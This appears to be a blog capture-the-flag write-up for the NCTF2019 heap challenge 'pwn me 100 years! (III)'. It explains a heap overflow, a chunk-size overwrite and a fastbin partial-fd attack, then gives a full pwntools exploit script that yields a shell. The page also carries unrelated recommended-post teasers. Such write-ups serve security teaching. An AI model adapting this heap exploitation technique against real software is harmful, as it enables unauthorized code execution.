【Pwn】NCTF2019 pwn me 100 years! (Ⅲ)

闲来无事整一个蒙娜丽莎(ASCII Art) 【代码】闲来无事整一个蒙娜丽莎(ASCII Art) 阅读详情

main函数
在这里插入图片描述首先创建了一个0x10大小的堆块,最后如果这个堆块的值为0x66666666那么执行/bin/sh。那么想办法分配到这块内存空间即可。

看看中间的菜单,找到漏洞在edit函数中,read为固定的0x20个字节,由于最小堆块的大小是0x10,共享pre_size的8个字节,0x10和0x18分配的大小都是0x10字节,所以存在0x10个字节的溢出,但是0x10大小的字节只能覆盖到下一个chunk的size部分,不能直接修改掉fd部分,所以通过修改size进行下一步溢出。

首先分配4个chunk
add(16,‘aaaa’)#0
add(16,‘bbbb’)#1
add(16,‘cccc’)#2
add(16,‘dddd’)#3
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadbeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxxxxxcccc xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxxdddd xxxxxxxxxxxxxxxx
接着将chunk3,chunk2 free掉
delete(3)
delete(2)
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadfeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxkkkkkkkk xxxxxxxxxxxxxxxx (这里chunk2在fastbin 链栈上了 fd指向chunk3,k表示chunk3地址)
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxx0000 xxxxxxxxxxxxxxxx
接着修改chunk0,覆盖chunk1的size。
edit(0,‘a’*0x18+p64(0x41)),chunk1大小变为0x41
free chunk1,那么chunk1就会被链到大小为0x30(去除头部0x10)的fastbin中去,那么接下来再malloc(0x30)就会将chunk1分配回来,且可以输入0x30大小的字符串于是就可以去覆盖chunk2的fd部分做fastbinattack了,动态调试发现堆地址最低字节是00,于是只要将chunk2的fd最低字节改为00即可。

from pwn import *
io=remote("xx.xx.xx.xx","xxxxx")
def add(size,data):
    io.recvuntil('5,exit\n')
    io.sendline('1')
    io.recvuntil('size')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(data)

def delete(index):
    io.recvuntil('5,exit\n')
    io.sendline('2')
    io.recvuntil('idx:')
    io.sendline(str(index))

def edit(index,data):
    io.recvuntil('5,exit\n')
    io.sendline('4')
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.send(data)

def show(index):
    io.recvuntil('5,exit\n')
    io.sendline('3')
    io.recvuntil('idx')
    io.sendline(str(index))

add(16,'aaaa')#0
add(16,'bbbb')#1
add(16,'cccc')#2
add(16,'dddd')#3

delete(3)
delete(2)
edit(0,'a'*0x18+p64(0x41))
delete(1)
add(0x30,'a'*0x18+p64(0x21)+p8(0))

add(16,'aaaaaa')
add(16,p64(0x66666666))
io.sendline('5')
io.interactive()
xxxxxx 立即下载

相关推荐

PCB印刷电路缺陷检测实战:从数据集准备到模型训练全流程解析

本文详细解析了PCB缺陷检测从数据集准备到模型训练的全流程。重点介绍了PKU-Market-PCB数据集的特点与下载方法,并提供了数据格式转换、模型选择(如YOLOv8)与训练配置的实战代码。针对PCB小目标检测的难点,文章给出了数据分析和模型优化的具体策略,帮助读者构建高效的缺陷检测系统。

weixin_29065791的博客 547

8.414 - Machined Surfaces

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34014277的博客 1万+

[数据转换]将NetCDF(NC)文件转换成单个GeoTIFF文件

有时候要提取tif格式数据中的气象数据,但从气象网站上下载的却是NC格式的文件。这就需要我们将NC格式的文件转换成TIF格式的文件。

G_sea_young的博客 1004

女人,男人与畜生

听说企业老板将女人当作男人用,男人当作畜生用。 可见大家压力都很大。   如果,谁能让男人当女人用,女人当宠物用。。。  这个景象很和谐。 顺便也解决部分男女比例失调的问题   【引子: http://www.metadmin.com/blog/metadmincn/entry/woman_man_and_beast】 ...

开源权限管理中间件Ralasafe 5万+

EtherCAT应用层协议选型指南:CoE、SoE、EoE、FoE、AoE到底怎么选?看完这篇就懂了

本文深入解析EtherCAT应用层协议(CoE、SoE、EoE、FoE、AoE)的选型策略,从实时性、数据吞吐量和功能完整性三大核心指标出发,提供工业场景下的实战决策框架。通过技术特性对比、混合协议架构设计和常见故障规避指南,帮助工程师优化自动化设备通信性能。

weixin_28718793的博客 494

Frida提取Cocos游戏XXTEA密钥的实战方法论

XXTEA是一种轻量级分组加密算法,广泛用于移动端游戏通信保护;其128位密钥的安全性直接决定网络协议逆向成败。在Cocos引擎生态中,密钥常以静态常量、JNI动态传递或Native运行时派生三种形态存在,导致传统静态分析失效。Frida凭借跨Java/Native注入能力与内存实时观测优势,成为捕获密钥‘出生瞬间’的关键工具——尤其适用于hook xxtea_encrypt函数入口、监控JNI参数传递、设置内存断点追踪派生过程等场景。本文聚焦Cocos2d-x与Cocos Creator项目,覆盖从密钥识

weixin_33509600的博客 418

AM335x裸机<三>:watchdog的操作

基于第二篇,结合代码和TRM分析看门狗相关操作,直接上代码 HWREG(SOC_WDT_1_REGS + WDT_WSPR) = 0xAAAAu; while(HWREG(SOC_WDT_1_REGS + WDT_WWPS) != 0x00); HWREG(SOC_WDT_1_REGS + WDT_WSPR) = 0x5555u; while(HWREG(SOC_WDT_1_...

weixin_30586257的博客 1034

Matlab+Matpower实战:手把手教你生成IEEE14节点FDIA攻击数据集(附完整代码)

本文提供了一份基于Matlab与Matpower工具构建IEEE14节点FDIA攻击数据集的完整实战指南。通过动态负荷数据模拟、潮流计算、状态估计及隐蔽攻击向量注入,手把手教你生成可用于电力系统网络安全研究的仿真数据集,并附有核心代码与调试技巧。

bean的博客 398

DBI接口与DPI接口与DSI接口

(1)DBI接口        A,也就是通常所讲的MCU借口,俗称80 system接口。The lcd interface between host processor and LCM device list as below,The LCM driver will repeated update panel display。MCU借口通过并行接口传输控制命令和数据,并通过往LCM模组自带的

dongzhichen的专栏 1062

各大厂薪资对比爬虫:Python采集OfferShow爆料数据

print(f"⚠️ API返回错误码: {data.get('code')}, msg: {data.get('msg')}")ax.set_title('各大厂薪资对比 (基于OfferShow爆料数据)', fontsize=16, fontweight='bold')stats.columns = ['人数', '平均年薪', '年薪中位数', '年薪标准差', '平均月薪', '平均月数']print(analyzer.get_position_stats('字节跳动').head(10))

2201_76125261的博客 603

CKA-题库-简洁参考答案-反复练习20遍-必过!!!

新版CKA考试已于2020年9月1日正式上线! 考试模式:线上考试 考试时间:2小时 认证有效期:3年 软件版本:Kubernetes v1.19 重考政策:可接受1次重考 经验水平:中級 题目数量:17题 题库量小:随机的题目重复率极高 考试时可打开两个浏览器Tab,一个是考试窗口,一个用来查阅官方文档](https://kubernetes.io/docs/) 01 Task - 英文 Create a new ClusterRole named deployment-clusterrole tha.

随笔记录-分享&记忆 7318

Nctf2019 pwn

没啥好说的自己菜 就做了三个 hello_pwn 没啥好说了直接连 from pwn import * local=1 p=remote('139.129.76.65',50003) p.interactive() pwn me 100 years! (Ⅰ) 00截断然后直接覆盖 from pwn import * p=remote('139.129.76.65',50004) #p=proce...

doudoudedi 784

【基于深度学习的脑电图识别】数据集篇:THE TUH EEG CORPUS: A Big Data Resource for Automated EEG Interpretation

【基于机器学习的脑电图识别】数据集篇:脑电信号自动判读的大数据摘要: 摘要: 这个数据集包括超过 25000 个脑电图研究,包括一个神经学家对测试的解释,一个简短的病人病史和关于病人的人口统计信息,如性别和年龄。这是第一次有足够的数据来支持最先进的机器学习算法的应用。在这篇论文中,我们使用了3762个语料库的会话子集,展示了从原始脑电图信号数据预测脑电图的一些基本属性的初步实验结果。在闭环测试中,...

梁瑛平的博客 5615

02_UVaOJ_ AOAPC I_Beginning Algorithm Contests (Rujia Liu)_Volume0_Getting Started

刘汝佳白书推介(第01~04章相关UVaOJ题目练习) Root :: AOAPC I: Beginning Algorithm Contests (Rujia Liu) :: Volume 0. Getting Started 内容包括:题目列表,相关题目的.cpp(题目,分析,代码) 题目难度参考于:http://www.cnblogs.com/devymex/archive/2

Neicole ~~ 学习旅程(大学) 29万+

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

[解题报告]Machined Surfaces

题目大意 题目原文:http://uva.onlinejudge.org/external/4/414.pdf 背景 输入一个n代表下面有n行,当输入n时,结束程序,每行都有25个字符都以x开头和结尾,计算出 总的空格数 - 最少空格数*行数n Sample Input(为了便于观看,下面的B代表空格) 4XXXXBBBBBBBBBBBBBBBBXXXXXXXXBBBBBB...

weixin_34344403的博客 1万+

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

login

BEGIN181026313526311E4E4978908D8CF4F2A98FA13F908D8CF480B83FF68481FE0A133FF68481FEF588FC993F908D8CF40A133F908D8CF4F588FC993F94E1F1A2F9B08FEB0A133F94E1F1A2F9B08FEBF588FC997EF49594AA4E497894E1F1A20A13F8B...

xxxluyao的博客 414

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

日本人-韩国人

1. レストランで出てきたスープにハエが入っていたら?   イギリス人は皮肉を言って店を出る。  中国人は问题なくハエを食べる。  ロシア人は酔っぱらっていて気づかない。  アメリカ人は裁判沙汰(ざた)に。     日本人は周りを见回し自分の皿だけなのを确认し、そっとボーイを呼ぶ。  韩国人は日本人のせいだと叫び、日の丸を燃やす  ——————————————————————————————  在

simon_new88的专栏 4万+

HUT-XXXX DNA-AND-DNA 贪心

对于一个串,我们可以这样考虑,首先我们从串的最后面开始向前遍历。 对于一个串是 "XXXXAA",那么对于后面这两个A,我们是不用做任何考虑的,我们甚至可以直接认为这个串没有后面这两位。 对于一个串是 "XXXXBB",那么我们是一定要选择反转的,因为单次操作的话将这两个(或者多个)B变成A需要两次操作,而我们通过翻转整个串,再翻转前N-2个串同样可以达到这个效果。但是我们翻转整个串可能为前面...

weixin_34195142的博客 3475

uva 414 - Machined Surfaces

An imaging device furnishes digital images of two machined surfaces that eventually will be assembled in contact with each other. The roughness of this final contact is to be estimated. A digital

uva code 5014

日本を来た初めてのプロジェクト

 初めてのプロジェクトはバッチ処理です、CSVファイルのデータをDBに書き込みします、DBのデータをCSVファイルに書き込みします。学到的一个重要东西是DAOGenerator,这是IBM自己的一个插件,对DAO的操作非常方便,最终能产生两种类型的数据集,List或Map型数据集。这样对数据库的操作就很容易。这次的项目最复杂的是把多个CSV文件中的数据写入一个表中。import java.ut

我心编程 2万+

interview---str---aaaddxxxxddddxxxx

[code] /* 1. 一个字符串参数(value)由字母(a-z,A-Z)组成,且最大字符位数为40, 要求写一个函数(maxLength)返回该参数中连续相同字母的最大个数及该字母, 如果最大位数有多个,则返回第一个。例:字符串“aaaddxxxxddddxxxx”,返回值为:“x,4”。 要求:请考虑代码执行的效率并注意编码的风格。 注意:此题特征是连续的相同字母,这里注重...

z466459262的专栏 1万+

arcgis 加载wmts服务

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>简单加载一张图</title> <link type="text/css" rel="stylesheet" href="http://58.220.249.164:8084/arcgis_api/js/esri/css/esri.css"/> <...

Hhhh_cccc的博客 2806

svn: Aborting commit: '/aaa/bbb/xxxxxxxx' remains in conflict解决方法

$ svn commit -m "zzzzzzzz" svn: Commit failed (details follow): svn: Aborting commit: '/aaa/bbb/xxxxxxxx' remains in conflict 以上是有冲突了,解决方法如下: “手动”合并冲突文本(检查和修改文件中的冲突标志)。 用某一个临时文件覆盖你的工作文件。 运行svn r

matthew0618band的专栏 1万+
上一篇: Pwn题中修改程序连接库的方法
下一篇: 【Pwn】NCTF2019 easy_heap
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值